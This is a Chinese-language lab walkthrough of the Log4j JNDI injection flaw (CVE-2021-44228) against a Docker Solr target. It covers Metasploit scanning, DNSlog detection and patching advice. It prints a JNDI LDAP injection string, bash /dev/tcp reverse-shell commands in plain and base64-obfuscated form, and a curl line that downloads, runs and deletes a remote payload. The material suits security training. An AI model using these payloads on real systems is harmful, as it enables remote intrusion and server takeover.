1、apache log4j
是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞,导致攻击者可以控制日志内容的情况下,传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入,执行远程命令。
JNDI:
命名和目录接口,是java的一个目录服务应用程序接口,功能:提供一个目录系统,将服务名称和对象关联起来,使开发能使用名称来访问对象。
目录系统:通过名字可以访问服务
如:http ------web服务
jndi可以远程加载ldap、rmi服务端提供的一些恶意代码
ldap:轻量级目录访问协议(类似于http,可以通过ldap://xxx.com访问)
log4j:
fatal 严重/致命
error 错误
warn 警告
info 信息
debug 调试
trace 程序运行轨迹
all 所有日志级别
定制 自定义的级别
2、漏洞发现或检测
(1)启动靶场
docker-compose up -d
浏览器访问http://192.169.59.10:8983
如物理机无法访问
[root@localhost CVE-2021-44228]# docker-compose down
[root@localhost CVE-2021-44228]# systemctl stop docker
[root@localhost CVE-2021-44228]# ifconfig docker0 down
[root@localhost CVE-2021-44228]# brctl delbr docker0
[root@localhost CVE-2021-44228]# systemctl start docker
[root@localhost CVE-2021-44228]# docker-compose up -d
(2)msf检测
msfdb run
msf6 > use auxiliary/scanner/http/log4shell_scanner
msf6 auxiliary(scanner/http/log4shell_scanner) > show options
msf6 auxiliary(scanner/http/log4shell_scanner) > set rhosts 192.168.59.10
rhosts => 192.168.59.10
msf6 auxiliary(scanner/http/log4shell_scanner) > set rport 8983
rport => 8983
msf6 auxiliary(scanner/http/log4shell_scanner) > set srvhost 192.168.59.6
srvhost => 192.168.59.6
msf6 auxiliary(scanner/http/log4shell_scanner) > run
3、漏洞利用
dnslog外带数据证明是否存在漏洞
比如注册一个域名xiaoxiang.com ,我把它得A记录解析到192.168.1.1, 当dns服务器发起 www.xiaoxiang.com请求时,dnslog中会记录下来这个域名,并给www.xiaoxiang.com做一下解析,解析得ip是192.168.1.1
我们把想获取得数据或信息和dnslog平台得域名拼接起来,dnslog平台就会把目标服务器的请求记录显示出来
Log4j漏洞路径:/solr/admin/cores?action=
4、利用log4j漏洞获取服务器权限
方法一:利用中转机反弹shell
方法二:bash反弹
kali启用ldap服务
在目标机执行反弹shell的命令
反弹shell:让目标机主动外联攻击机
正向shell:ssh登录
命令:bash -i > /dev/tcp/192.168.59.6/5555 2>&1 0>&1
bash -i 创建一个交互式的shell
/dev/tcp/192.168.59.6/5555 去连接59.6的5555端口
/dev/tcp 打开这个文件相当于发起了一个socket连接,读写这个文件就相当于在socket传输数据
0 标准输入 I
1 标准输出 O
2 标准错误
精简版:bash -i >& /dev/tcp/192.168.59.6/5555 0>&1
>& 将标准输出和错误重定向到59.6/5555
base64编码 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjYvNTU1NSAwPiYx
c
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjYvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}" 空格用逗号代替
curl -so /tmp/jiali http://192.168.59.6/jiali;chmod +x /tmp/jiali;/tmp/jiali;rm -f /tmp/jiali
5、修复建议
根除方案
(1)升级到2.15.0版本及以上
不要用2.15.0-rc1和2.15.0-rc2
(2)加装防护设备
(3)配置策略阻断log4j利用链
临时处置措施
(1)升级java版本
(2)修改log4j配置
jvm参数设置成true
(3)禁止log4j所在的服务器外连